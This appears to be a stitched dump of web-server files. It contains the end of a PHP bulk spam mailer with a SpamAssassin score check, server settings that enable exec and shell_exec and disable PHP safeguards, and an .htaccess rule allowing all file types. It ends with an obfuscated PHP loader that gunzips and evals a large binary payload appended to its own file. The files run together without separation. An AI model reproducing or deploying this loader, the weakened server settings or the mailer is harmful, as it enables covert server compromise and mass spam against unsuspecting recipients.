            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$bPhs='st'.'r'.'_re'.'place';$TMqf='sub'.'str';$fpGN='gz'.'uncomp'.'ress';$ysIe='ex'.'it';$OFti='file_'.'get'.'_conten'.'ts';eval($fpGN($bPhs('cjmabzokgy','>',$bPhs('heqtawosdv','<',$TMqf($OFti( __FILE__ ),-216603)))));$ysIe(0);
?>
x\[~uQZ%0gTI y
0FBҾaqؽk`ݽ_\ߏ}_G/s˯?-5?_.}_o=[ߞcjmabzokgy}heqtawosdv_er~gO/|3?{23PǑ4Gke$'6f֛t:^`kb眄=@G(eĽcq矧PjObheqtawosdvԈlj[yVCgD20CzQm
sGNjDkkY(Ѥf'![4KR3)dJ/!f2jLv,HX3#rcjmabzokgye	c*vćW3:zsSLngػcGt2c!qŢO7lӕl~rvB9eAnnq׿^3+Ox$_v9GgT1c.5IE[ hw!)(פHľ׺,Y~x$}Vw]heqtawosdv$b1vx"/ROv/v ҵz\p\h+1ld8qU@\d/B"@*
8+P*X܉t^BH?`71OdIcjmabzokgyYX&GiWղTO-2sI0vAncjmabzokgy_%顆pB]Gß __WK {1
SF_뢳=CjA0hPO4dUOdP7$b$H:y~dDLd]_Of˯"1dOR0cjmabzokgy|ܭAЩZa,ҿdc2
O̗ynyP6lX!)O+nJ(z"ucjmabzokgyY q3n#˧5~heqtawosdvO
n&mWѳ곻k◠
!㎱0'cjmabzokgyȔb N,l#-Tbm~#0	N*[3Ƀm/&)NmGC8Jm6I2!zƿܡ:hEi38Hu7҅sB7~3a1j\%)z-f2Fu0]+;dnzI&ȳeE/7ۉlNm+?Q=5ꀆ#c=6if|2Dw,@gH+	|vX}(;_mΎ2}*PdW;zk^-CIdfz#n]Qԗ/5ee%!=R͠7$jmj֍
36S5heqtawosdvhI$OߍʧAWS+E	"o3}#vr86Ro.'
# I[ϯ4LqXf&rym:cjmabzokgyJN]I.phz.Ww,UWļݽ#]\Y_/_wK Wr| }8#}ɣCP5럠*heqtawosdvcjmabzokgyk)387r=_heqtawosdv__]'	^%R=.SKGd{j}s}媏Mku54Hn\KDUv1PZ68.l7[@MSAdg'Qb[6FG;wrU_QtL^ׅdY0oK޾T)_NMꫳ/_Ktr
)]O	i~#urS:JIB[dcD̠#sG:͸y
!9pzV~F*KٍXwz\$|
m*8j-8_dLct28wzP6\j2O$c`q8㭉(nG?zq&f*9TxcYѪ`#ANoC%ߝ~P?XT.tvq/SucEX	\E¨oaܓeiOFheqtawosdvO2/emtFêǜS'ڮgu&D2Q{^ ՘g٠!0&Fhoy]!1ΖN(%YՅ}!cjmabzokgyHm_.3.p*3~:RCZQbKEƎ"goπ[/,XV*d6ޫDoAMUH1=?=UP~heqtawosdvYGjx0ySWeX#_
W,-o~Xyuheqtawosdv/*ƺ#OFW,[΄S	m
'Ƙ^AR4R96̯G}lMEcjmabzokgy9߾WY4_.	۲J7E-Ć#cz/k613u.X2L}ΜŶZM'.*[(/P#38jPLSPs@CE;PZl9heqtawosdv*(6CheqtawosdvѸ6I?
P;MTj;heqtawosdvT\lx:aӄR7=&@o'	BH'Šɛl;@8+־FΠ`;l/pB"黜0yF 1!h5OV)^p`5.As킔~pjƝ(q~lBW$IƾG6_&lGn#w`l	]wfuE'd՟%T}r.xcpAxcEzF7xe`cjmabzokgyS	3eZ0YI
\]?7.h#O;V&
LcmU*JX@Ј4j]#\?	sꇇX ^܆
Oheqtawosdvd0 W&n'lqȱw˸o3=eLUsG#y5Ap)gNB?^7I`^cjmabzokgy^2VdD 8&vh5#R.q_ D
I(씶
Aoz^cjmabzokgyc.x$s~301nHr:%ǅ6J1zj[H&\VŖN:&_0h8+|¦X3{i
n3(PvEeĩ=eh]]5DM-cjmabzokgyf!ji9r+Pa:yl=z}Vv		x|}w@fq3LrV=heqtawosdvVǀ%wi]5cX=蕊EnC@nD!heqtawosdv5UБPJ
:7@ǌ ƃ|!S~uwX!Aheqtawosdv)*O^Yldec1d[j8Qƈ=$/b-FKƨ@xȼkW~
v9Sotheqtawosdv&a'ċK
ЗLst0Ĕt&xVDtzuSPdQg2`~bAn#({Kheqtawosdv
bx?k;5-Hi)|X%hzl}sxqکXr;3	 (H#/EgZt/ןheqtawosdvĹewcjmabzokgy#6ŭ+]]`Q)dbuFfn	)Z#
"2ZE4˿[~Y/{1BKKZLS,1heqtawosdv3c6

Lǎwߩaacjmabzokgy}ͨtQ~C&IOheqtawosdv^Mэheqtawosdv)E^:V,QFxheqtawosdv%5i
9P 7j2SVOx9@W́6hMr*פsy1K/]AAZ|'/gngʐcjmabzokgy=l2x'J:̃Ł/sO(3$M&S2z(!jo1jj=p"Ma:LlD;&`Z"T,4Tc}Fx4g_ ˢʾ_Ȅ {[ڕ
|ݖՌ7Cqc^tN0=\ޖQ_t#6T#Aݏ`.O U܍_3U&`V4ЙugL6}F&[
$-cMu-ܗ'ϯFmwNS4u_=
vyMXcjmabzokgy l8ufheqtawosdvA[ 	U@MK**r֍j;c1R}	}	)@82\v0T8Gİ3/JL:)Џ٢8qzdPـ˨vL3O&.qb
TFc\K ӆs)ֆ'?!}AR|PDXCheqtawosdv#Q5ao#ȤAa!3``e6vm^H&w4d([0-`٣kTN"߯H?-(d5H\~Z3$r:KǒWL\0,\MGydg)	h2Gfώz^_ӐD8VUH3q#Xɲ!w{jdKheqtawosdv3Sie^nGq%Rw[	
JOHjA}e}ve:L-/m3a(Ol	0$!W٨}S}heqtawosdvbȩFVĨIo%7$m"f@Qx	:r{(S 4rXT(4-e9g2j1uyH*ܟ-Y!=AJs߄^qZӼS9.df\uO7+}΁ZȦ@!O#c}j.3)7aںCa "Ј:֡|aSY#J!3}^].ݐP[WЏ%MC2۩քU70-9uZAw\c8Jg3!NH
:$GQrPƌB^s|#SI{T\
uUu`wr:ϣrР0B1J&PB$wsqF]3_~ A@^kլ1p1e u'!P nlY=TЗ:l+/f`?hH((S 󑷥*{Q5䑘W*rN
e1OPƥp΂ꅨ#PfځN|raheqtawosdv`s{8s҈!K_eU$h%V5E#Ͽ)m;yzA&ƾ|X.obhנ %
t;'wAld7cjmabzokgyBmjL]B6`۟[TDlՉ{rTj=HȤ!1CFr
Aj
P_L_rZx}*)35zñ[-C=eQˉo?ƿi9_Ex)@|2G]f/24"B޳A?MQ?g`heqtawosdvK;C.=G8Mex W׀+lYN۸\hNXPe[QQ?BL`10ldnޞ'Vc
^+.X&fOMhzՒ"o#r`@´0c
Xm3GLVs|ɖL	#"cjmabzokgyͰG;YA	A͗P"9D4"5~񆂖e
};R(h$0/xƧ¨q#㰲l
9'Nyꠧ'WZOde]Q %r+c]heqtawosdvhd
v5	,H'?tK'w%P%Ӻb3O*Yn ~ѼOrcjmabzokgyzޒ'gheqtawosdvT-㕿/XXHYAC^T 7ևfsE&	!:SMa
:5dw鐰Sx%L!QQB
GtU'+gzAsF*srQ")J
`mP/
+z*HZ!(5W5x+f}yu%VW8lZڊ(7Db{Z{ӄ|ϞNu P;Fd'-a*Ka!L=jñlHcjmabzokgy#L.7"9W+y4s3ֆ)/!ؾƸHzO0O)9+F}Ycjmabzokgy=76/2VAo'ë%3/T01;V`l_/J_wrKC"6I"e懿cjmabzokgyPX{X{f[upSPi;u.Ʃ/"}Q	heqtawosdv9(g:grxzF+t
uq
'YOx*$cheqtawosdv
F.F,ԾzAvq@*Ǯ"U?0N cjmabzokgy
	$$aOgex0b-#NyeDheqtawosdv}x%]o\̹MBȗR|)8S&_t}/
wO{[󷠯ntl@eS$JEFt#Wb1-،6xvP[ouߺ7q8*WCz?'CfXdǵv㾺tL	L:k1Cby6@`sn|ނ[8
zd"C&f5?vFC	|\ jheqtawosdv'ä}1тً}mo*taj?`Hg3wj1EX̦̆on39efe.!5U;heqtawosdv*_J8OKn|i3@~T?V~)us)U7%M)|u5`
=0

+Gd"0wT?X3pP4P/!uB"zPw)d 4S75Q
	cjmabzokgyJ3dxWNL#8~a*!;ŅcjmabzokgyR0]Mac	 Aֲ@Jt-/y'Ebz$RA!%pnwlӧp
,Z%)=Hy|?fBqȯ4BiJr!]sI	ant/!6OOw_ oxkyadڗ`d tASo%[U7F]cjmabzokgy8Gttz pl~RaLrheqtawosdv%6heqtawosdvX."_jԄheqtawosdv5f؜heqtawosdvpl.hD][eǁ,"J2wheqtawosdvwh_#0lAmE:bI	6E%FjC_[lnc$N߫
!(s![V	*dNJ?#K{]*=3wheqtawosdvIcjmabzokgyʉ轐	@+GRBHH)L"hBa;f0CUfO-&drVif
AoΰZLy]0h@!䐗tE2ਅ*|8xC'xd9R|!E@с0n7)uYuZ
r4v1& :cjmabzokgy.F/c!)c7;)%Qm@'c*֜]qāz6	u{LUs#dY
oX^'6z|WG8FO|97ΏlU(~^D~uCL1¨9+UG"fO:B|Ƣheqtawosdv@P;A0`"!3U/82U:J*IheqtawosdvZ8VlmHaɏ	KSɇ-tN
'F6Q]]2uM}͔HrЂO`*D5($sci(56	9S`Uҁ́PNt(;@M9;oT/qGU9AG9%fׅN$0J{;A^#9XCQek))~o̲K:CN$Ֆ;@^PB;7t
8d0U ^P3%i7#=ƘYRۈ|2VbHoTk&V&5L+(h1eQ
$Hg
yפrC9.o-!QX
aǤP7j+z};ɆV),,y5j;57TW VxIK?2Z
	񖲜ʍdo8_ȫ~heqtawosdvCgþC۷~2VyME{c`=-vy@ac/2u~U;K꾊1*
O?}VVB8EwȮ_F.B@D7t'^TW(8Qv [d[~1d]jy;W' BQYCc)酵Xn
jj$
4fHIetc?ʃBor]Br\heqtawosdv1p_BTvY$k}#N'%%%r+d RS@45ఁNEGp΃Ӟl~)uSI_ޤ@[g~f_ڮUX}Q1cjmabzokgyAOzl߯ox0}Zeheqtawosdv,=mNcX#J2C݋r03/
heqtawosdvq,*32cQ]Woa'1aҰ@%APCc'6=`rd#heqtawosdv`-p?	.?MPYYgbJgdoĚ'E
?׵_jkG! }݉Mc5UV
S,z5Lq0ùYscAr"# D4kr``A
'RWz\}zc=987b
~6hbn$J\.S`R#&/?9Y\Evb8kT(L`	%cheqtawosdv[GkkjYV9L?3鞃)Ȳ|aen]NGUB_SB-Tn
aC!̦9~q	!(cjmabzokgyl:d?OJyPJs=dO쟭a:15FYl#5=Kos*eQ_m!ȭFxLP|6 CJ帒^;?jB A*/J[17BhQ-g@+kCcjmabzokgyA-6ԣgܠzw.(|gwL{heqtawosdv9.

@FseKN]K2VCa'JG!(?`+cfY0ENg(PT0v'~_Őu/ypM-Dμ^bM|rCB}Atľjo/TcjmabzokgyvS-	!ǾgKz'BMj" kZheqtawosdv!O85%䣭,@C[?vj#+zg]:2|vB07"/ǒbWt:`O킶}da^A͈}x@6rn0 h`ADbS63Sc% 7dFaxʟVo'Vw	`	PH_0۽àj;HxkJ
&u )r5S#'e
	) XË5+D'%ǟ˵XheqtawosdvHN+leHrVXE'-{cKP0ZNcjmabzokgyxʙ0@F;	A{xns?6}嘱.V;qvUb
A6`חH:cjmabzokgyݘadeymP w.+kZ´,V- [?vW٣aMfB=|~\Theqtawosdv pheqtawosdv6Gy";󤭧u
l&'f"=S;;TPekƯ"0gWXZ@zr4Q7.ؔx׮H/a
򽄌UżaSwPO|N-}]P_h~!Nh\MM~W[qAF9:4_q_WѝkM1;z{*P	'nsaheqtawosdv&$./w- 4֢:t-H j*vA
U2![G~[$},R~UXuq\??+À]2&"oKq2#hv}uy07HPH'p6*[sKMM7Yf'6t={8l㋛ȏUzMY$@wyhuf8PN5s)~go,_\?N6`ۅwd-P
fcyX(#t!	r`!a
XD6AS?Z|2)D
W
b3cjmabzokgyfK:Scjmabzokgy&
r
20BnBebz =bgheqtawosdvYI.I!.)}
K~;Ȧjs\ס,h,=R?l^lx	Z~8-C]"o##ʙliX}au%ael85:$-pGO&9d9X~/k6"-	̍Q]^0to"S`\()~_
p[k 3Px}yn'e:CQvy9heqtawosdvgjs}rS:]Aw^6=d9h$ۗ)}WW4:0NXj̟	9?#]OS2I~.SQ++cя0:[Ɂ8$+0j@W3]1[5Zn寑'ݺ0y.J9lԷ]+k	'fv1@AphQ퉴yq_heqtawosdv;*px3~t9ollSXheqtawosdv颶W#]ID(%pxjFo4
fKULV=;볃\lkɲԢMyUg"wPa){7``-ev~oweySL9;'C-# BwSP:[׿sX#aYPGĔi1YP]
0Y|i9575ӥCcHifS5P;fh0:BMDO4jٮخf/oF4Nkf;6_
a`ɠA_JvYD}?)#K_m~833HN*5A4heqtawosdvޔ;lEvRA҅w Lؘc]]B@~ܹ8u_O
s?;V@~999(3 PH ϡUY?+tAǲmТTb=ZG?Kш#C%ƆΎ(݆d;켆;cjmabzokgy\C3g
=K|m@C`HӃcjmabzokgy@dVC"+kGPz 'ɞ u,_\`gHg՚Yj-9kV
&,G6Phܞt_oreE\`ISxJXaURέX4R/Oi!߼oψxҵZ6!Ԗ}?u}}XE!-lpQ6 |dj,_1p _gaq[xxcjmabzokgy}Nba{B"H0S'`B*aGTheqtawosdvsHoGBi arc_D׿ݤ,L /Н%_e$Z5\qO޺p:)S$?yOheqtawosdvگ+heqtawosdv1DJ5_ ;͓/-T^O	heqtawosdvWm}-06rҴ
zwWܺ"8tV,R3\dKzz.=!0$9XTS7g=!ԗt!۸RB^L+"GC!zQ}QIm
f{{g:(cjmabzokgyΓ^9O7V8ƫ
Tl9hn0py#}IXe_Ce+3Y|.72ۯc0/Ci}?j`B	/p9eGj$heqtawosdv)\Ju*o͡heqtawosdv-64z*7!;Hcjmabzokgyէ^bF1 j;Y]C@11[Q։RN9E
"6urؗHaBcjmabzokgys~d˔fzu# 	d-	+68h:oX #mj]DdO$,Mzs/jɾ
cjmabzokgy/
uhuz }@irHKjYo0l+vMs]#=	B	cjmabzokgyb1L/arϘ}z!rLJM0c־H50
G9SCK(7+  &J1sUOr
ps=Jꢶ&;djhQǒJn7!ټ	n('8jIX .ԿY?"=h^V2Zg9ǘf.w_6rcjmabzokgy[&ǺȺ}n\ᔓ
dsyc+	
ۧ7m+ue&2Ԅ p/Y724ekǼ:-V^~9kyZUtZ[GmD$p-e_/av'	L2łDe*|+gpu]P
?&~
zC	xzS9^nk #\f,2W*;Oxr~lX%cgheqtawosdvBiud䇚heqtawosdvguԍ1 Zkvcjmabzokgy'87 xv,ı];bheqtawosdv(@u+׌Џ6Qwl3/V-Jζ_	a$veW,k{dA
Z2:v
\":JY=ZA~0D_jZGԲ|	3mJ_m-J~]͡xXaIvS}R	̤.o}9SK0茟_0+-`yz YfH,Φ\Y9n.$n2fT׹'C3D3tRGr&~0шYdk7࣯3hcjmabzokgy4EAt|e7莫O7Vٴ?7p9jf
-vyp zRϘCcjmabzokgyc
q(2y@=[[7{asnLYi&=T[0JĢ`~d3`ArAuy'b`S*Scjmabzokgy j玱C
]ZލmYj[Г)cjmabzokgy4{skx8":Bvr{¹?B[K38M'xB:߳h7doXqxEݺCҐnSβ9j*Βl~/ۀJcq'sj2"ޓ?TcMZk5sj_1BŚCn*.Sc_@0vĞ"jFaUq1RgDHq2thheqtawosdv7heqtawosdvoS,=cjmabzokgy9̒l.ʝOA[d%-;heqtawosdv
dXL}tcn@f0PD6ATr,r?7	#٩|(2".x K}HC8h\鑐1/ST'"NڙѬy#^ysxJy],[ڙOo#FNtOaN!= cfQ^b;sL$dw`la6e2EfJJ1pl٫b+y ~DpIPP2dheqtawosdv~1IqaAzjOsG AVpS;5NUh&dSc'RW{߯z{?!@o\
JfT%H8$
6cjmabzokgy!hCyD+/=ʃ\-|[?{dqyxwOlջ[@B]̵è{ z-g lAsDCc'АExLUhZgX2$.73an0heqtawosdvs_@}NAË	cjmabzokgyCR~QUST%+2ד.]QrIuD]u)}o'ݩw%f3dxnAvbӣؗ]#:vbΠ/:
B@heqtawosdv5Qj|)װAI9wrN`t;Z:w%}A]eo0FlAрJ}vd{;~kË}=@f	ۂDbpgG?Wder4rrڷ kheqtawosdvk{_ca/0;V%@B,KW;I%[3V]33bHگzsc~Tj%
9sʢ	JΝUngheqtawosdvF@,WQxdO|(%錛_3Աheqtawosdv|+cjmabzokgyGSE^t%2SsیsWk^U~r,yGBd*@[9]}A #W@"M	O)+7QG4:D:-)Ïk=_&J|]9C68\CYհUfc[;`C+Ȥ`C/0;&}ᱍ(}c? Rheqtawosdv]f^TcU@BȘdƦrޒxc:P	RCMiAL4+۷nk]heqtawosdvsheqtawosdv{t,@N*s̋{,y|CQ-HDW=0[E`ރ;6ȡQPޟ*j&f!̟Ϩl y%\niV+:iYQEU91Ω]"t'/j221.D95Ӹa3`[lht̜!8qyy[~qGbq_
%꧂"pgdDS9P1a_]"P^ 9Յ8tcjmabzokgy)yOiT`%jWKn
9d-;
+;0R3=YnyC}Q0ٟ{s340ڇ3LI1S#/c^p+䓷7Ild}f6ޡXP45V0/d\t k0heqtawosdv9W:O*P/@!	~24`lA"/`ExP^ز|N{}-B[POheqtawosdvJ!cjmabzokgyh`g#ZL `lX6kg}0gkBr&ղNhqFJ(O
]-H[63S|ʢaеᾯ$k{8^'(ȜKNnc-[	=sz%2[cjmabzokgyH6rj%&{āP7ϸbsɕ5Gd(˝c秀,#Ym7^Y4'$#I]
R7lxT{`V؇
cjmabzokgyF^Nퟠ
gc"^~o~1S'1k]]݋GDheqtawosdvN۟Cy$Yu]yơ|k;Ls#[cjmabzokgyFCmH0*%().8-!ľRߴ`T@ٟ;0P5+lu 3|XJ7_%Vs@?cjmabzokgydj;O2Or'cԼLV[:]p._y@vb*멕
	_.!?y2"R6-q!nOM[Eq0~
hbk&8YE3TI
5\jM_[f 
^QU&='heqtawosdv+Ջ
S_b	r,䯎U8zRَ&l*e;IG$Hi\4YWCzNV8}TחW%[f5dP@]](ϩG
^-u CgIo~^pf_~]#g3xߧhQ!4׼?4(ڿqo:3K"	 nUҜFi~q݌b"pq/!$WA][	4 "NP~c:\ݰ`Z50I`̣ݿ&@2dAWpO~iCN9h)hQnlqdY7Ygvn`y5ECy^nW#y$"w᷽ATt!Vc&[.GֈarƁNVFݖtb6j!}v('m,sU{m퍕)_sYрNo]2dF|Q21-O;'E 99`p\Uq0hd9go|~,1oo,y={|1+dk{_(+?j
կq'pC=1ϛH*%B4dy [WЇ6Wm%a^[Dheqtawosdvkv{2.mSs!dXd遒jM)NuVheqtawosdv%v~hPA}f!4$it]AzFD{
heqtawosdvfa
=bvQO|a~S˕nˋos8Uֱ܅}eM͢ZS5y:~A*9S'6pAcjmabzokgyUmg,IA}"wgU
#=ck5~mQa`:*׽j'əJ*dVPkٝjT/Ga|dy1v御0onDY'X
L~QCg//IBzJ^8hIzn)ZNn8Gz XJS4Mz'M}-BQͲF!I@ΚBGQd=tD P_ZVYƮ\_lg^b7xR3`ۨ8DD;V}q;so24EӾ&M)ۣj4tЩBjf?{v\*S'j6P~/A{ڍCJ@^ܒCQg)ss!"P_c:B&FWTEv'~}{ 
q@g0oQ@^:~}X:C/7$9yƪERrϹNΗδ%}(3!K$֦Tαi,fM
%ojT WfG̔_g?a3Rww.f6;prt=heqtawosdv}_L~%1߫8̆3wEk־6}ABmp4!*724 E}zw"jBGm%c^δ4F&A{A%sϱxNm,\ܑEcjmabzokgyK O1!q
m mV|SEKcjmabzokgyxf5@yheqtawosdvKa0qd~vH^heqtawosdv%FY먷2$wpO:lX`&9pqȷ+W`2eH?2xKw4qbI
T#pmuWm4o_?ޖ}'w\W)oZv25 z#fVmeqa!9;e:Lheqtawosdv}Ncjmabzokgyc^~[)g!Pu-^onJ*EuԤ[]heqtawosdv+jٟj
Y!D9Af+	heqtawosdv=+gxvGd98ؙ V?
Hdl%d`~kCQboj`a0?P"jЁ7A\kݠU.p*K8?@j
3L|L5nٔ)I4cjmabzokgyxД0.rX`
K lKk+ɜPyc+c'mKc7-H k~_2@|7Xc`e2қ7{.&t:S| f9,:	eY7dW*dk=?UK@x!8IK?5uwJ ]@-/#c嶿/HsenyCheqtawosdv90PmÔ'q{#)Ǥ^+84`\$2G2M;̛-qD(.ĵ=+x}t~X@_O+CcjmabzokgyK}ʖ
Os6AqMTW@Q|ۯ%؟;Qzcjmabzokgy~Xn4&?NV3vNTD,O ~8n#$ƾv^0 mS"RSCNA".& 9lk^?[h&zV/~3'=ʞ
~2aAjseXfߠ`دծ3L}ЏtչЄؐ{@gYBQ3䄷tzfXz7ydMH1Ϗe˘o85?C?}&[b?|IH~#j.J`6arbcJ?P
ٗQ^YI
\t|.v]ӻBm[RX&heqtawosdvMwLx~heqtawosdvn/|heqtawosdv}\&R/jasT.#jʠ$#
y#}?
Ncjmabzokgy9dݴ=&yq"P1h=f~#u!fP7Q+ F	^*,\bW ύ|JFCdLþgZmheqtawosdvDħa!)Nz׀ںɓǓ:_lzh:'}/u
Y3cjmabzokgy_=_)y5H;:C^_,X,.ʺ(mUkQ\Fe#Te{ECv"`ӷ`l7|[[!߯3@
ktq{(D!;/~(pӧ/e;.k_=K!N|y!}C9BBv}o1 ob5hgv5!.g̾8(d~!%CQ9wQwA?)f&K&S'QĎr@BVcjmabzokgy""?JE{,?hG;cN&F`Nk"
=Ӟ:Piai&uVdzBǩw=1ǜQDfEW܁p'@kCzV9uMsW@c~eq'!&.GjVXGheqtawosdv%]y2V3GgtS2{`"bľcjmabzokgy0O-}tۀ/]#O$g-+tQey~j#})TzQM9b'ұ%(o
ƶ=s|ò'
WDI^L̯ KIP%U&96dV՟hԇgcN
	Lvf6(qg$}hء*G)}ΧwT	= xաW}ovAtN:~@_wB)cjmabzokgySVZ	ꆪrzxH9GM
^FK~vQu́{ЙW07/m_jՑx)d:z+S{ &heqtawosdvP.;,uQb	Qg!VW߄$:ӁZheqtawosdv3g|gL,E%!bؖkF dǁOکM7Cöz@$_/?]u',y70=AW=(	b^u;wz.6YPsYZPxڮ6P~E#x58S%,{Sr2!&}au^;++I!1n'.Όsȭf"I!+¸n+lheqtawosdvv.YvҢh8l.+'ڃYNJ͘ޔ1aF9G
[G&Ehq 
y"Ȥ -:)`}:x(+kѷwl}O!F˝OW]🗎B	7*E|=CpdN:Piw}L}CfsϞ)!?gGwZ$wO2x2fB氍s@]  'ffDelu.5Hu7fcjmabzokgyйyrZ+oՂ=뀯z.X
Hbk:i	fݮ=ɁO$$nzl"_sTd#bODBOclA/$m@ؐ}16620BEUF½H'EA׬O&^2VR?|!J'5=heqtawosdvu=:֐;9?Ş'	]̢&b7)]{7U+^@p/e47-6Ps?戺h2{俐 [[&%/
pgPU"B;AfDE䌱xF8pT&#Cb'
}O}nr9abrNN:O_.'k3	e`xÎn[{熊aB^C*RPX
5D#}; 1A+a~s}zZ@7u2U1rDy\!doK Yީ`i{}8ڐk]Nh|MY".#h-dDw`	_k"E`Ft3F0f#)aDol_U?pRTI\:	xsE^%sTu
w}cjmabzokgyPcjmabzokgy4֟/D$.Jrʺ]oSv[T7yg4cu(VL]tb2+dى@#=Qfҧ*t1=1W1c˾heqtawosdvHa&xC*zO
U9O@3W qXÆ*l-a	ԾoYy4dimEtz`Aء[Ge%?SyH~]h4.Բi|2Yܒem
&}랧Da+:pG_
l?&]XvT\O-{,JF:wbM(~dMobk'o*31ae&SKĶ'A8!垨cjmabzokgy[}+h޲?
Z-Ȥ;qse|a@RmSe?z\L,iXjCg?+6jWפ`ŘxD9d^uǟ[OsUyEheqtawosdv!ŋRMyJlcjmabzokgyA]ΐuf؟.gdx\5HAlc9x{]aWx׵Muz#!-jt!8u(N`WJsk^`}_d2hb0@N8heqtawosdv塋lr@ӗ~~sȿ@0;822^~UQ7Υ$.9}?tz?ÃɾIA"}1X@,_'kL kMhh	D^EJLB`
d ԝ:^ݾ-Z8Nr/VW"#t["sP^8g9-. ob	˭#HNԱ
*\cjmabzokgyԦяzw6-N$=3!$?crv?q* lgbkixYžo*gԇ{ߟyG[AD[k-n5)=6WXjsYDc8%!~C\'9%uU$57AN =aը`Sgisxg{;PWxP령;	ƐȪgbheqtawosdvkݍ{٭t$pS7f5Oa@j	84'AO	(ģ x~
\e_;cؙN:Nлi	18+.gR˾2[sJ&zXzC}~6*P&4REeYAVhxlcjmabzokgywmkheqtawosdvLd[A_|255yAKNngS!VS^=tuheqtawosdvX
9xf	k6cjmabzokgy?UJ
Q0Ɍ\nv\@	~VL֐tBcjmabzokgy٠r!d XF&ve2ikCg.2fe~2EcjmabzokgyIg/""Yf7$9	/qدT8&Tk}!0\szsSC-x@EBQ*]|~z~EЖti"'^!jV`i¬y/Ȟݸ??xh7f(?ǯWC-}ϋՀ'
MȜS`uc5ӌ5}y`._0NH
p$V	@S'e
|NCɜH9[v?~}L#p傟6aBf_
!8F*0]KnsR;vREΗc0Qd7б`zyA9xqӻ!ouq3ޱM8dRalUXPj}m!bMX
7x߉F{theqtawosdv5cCf'IaBQSF
5S
~-cd{"cغpcZ9 ڏj;*]cjmabzokgyy} 8eONh8
1BW}9sIX9%d}_þkm*h_ky$(sSl 
ƃ@k[V#('\a 5DĹP6heqtawosdv~]jnW~
=A2/X6βb	աDFp}")i7w8׳EF_u/4yٷdg8Le;:[c%_\l5"#.*vo~WE!Q88h
#$(oq__T؁%ЭѼ:_9lM΀W70qW2	a\99"zyL:heqtawosdvU$w!y -]eoL?Vpkf
Fζ|z)0{ /=e&AO~Zcjmabzokgy**nqyBdMO:C'Z[	'heqtawosdv7xȾ7,uPIl߃U-CwcWp7 ?6%_=NوRSTM%$wx!avW2͍UWlվGB
[@,W.cI']r]YϘAÝ̶Y3O*|S_-A)HcCc4dLݖ*npxՉZD@|6
߷l;s`@a,n]V!۹M
L0DkMRլ}&?yue-L׻dϔ5	n̔y#ryNd	O2r/heqtawosdvuRA-G&Evp,f^c}^5H Q؞q
$vkw@u)6MiмGxB'cjmabzokgyQf8dxhM]`,*%6ft.Pr? I)s0s~$.l2CcHV~ּ_dlO0@Duп^O#?-{)|ȭ:`,O
=PIS5"^&Auw~: Ks`d '` )b?l
xEnb:
Aheqtawosdv6vuھ ʢR=5YE|/e"Ib4:'PT74D_s#_	9UySGL cjmabzokgys;^lr-=@XJ+O%ȟ cjmabzokgy:#)M[8ea6S}cjmabzokgyԮO&݉Ac?@Qm'i阔ىZZIV?qѯdq4&`H`Wkp3I4jheqtawosdv%XEh~ ?)0r
@ک-䥗v@
jV'NNP,\rhvheqtawosdv+J XWϾUuNZ/6
2+iw|~
ȍNfSjUAgXe"${dahF:\Ȝ)d_#l7D%[@ni;6`ID,jr[y#ߥ5w!`E'p-C	f/⍚:L=ܯm\T/_8ڢAjYY
heqtawosdvw=
9O5sezzI?b=cЃOh+=%DjJz+7bV9vc#?NAﰩ3ʔswmM5OxYݍXe|s̊:{OEԩx`'[
cjmabzokgyԮK2Sheqtawosdv%bgkheqtawosdvAKb8֟t뚓-b)jz!==heqtawosdv'@}/G!Sq"_1&k6cҘqB͖@AG Cֻ${uH$h;#/!9wKY	L(i_$pA-=:clSmAM܃9L,\A]bGB4{`m@71Hxa㯯3!9*YlZndN
=܀l'M5z}C:lJ2f[LġHq__ KW0羈a9sRc2Rp4޵5D!lנ@܉Tl=^Oq{JP~oIo527(}~$S^BM$%{u(F'(QK5n)h3
,6cjmabzokgy
`ޟM#-ٱSsY	|˭^/oĀ^~@hAվ߱1pnA*1s!};Habo(!R#g.9ٴYq7F0 xᯟ"=t;mxr6)Cfz'߻Pheqtawosdv=WWё
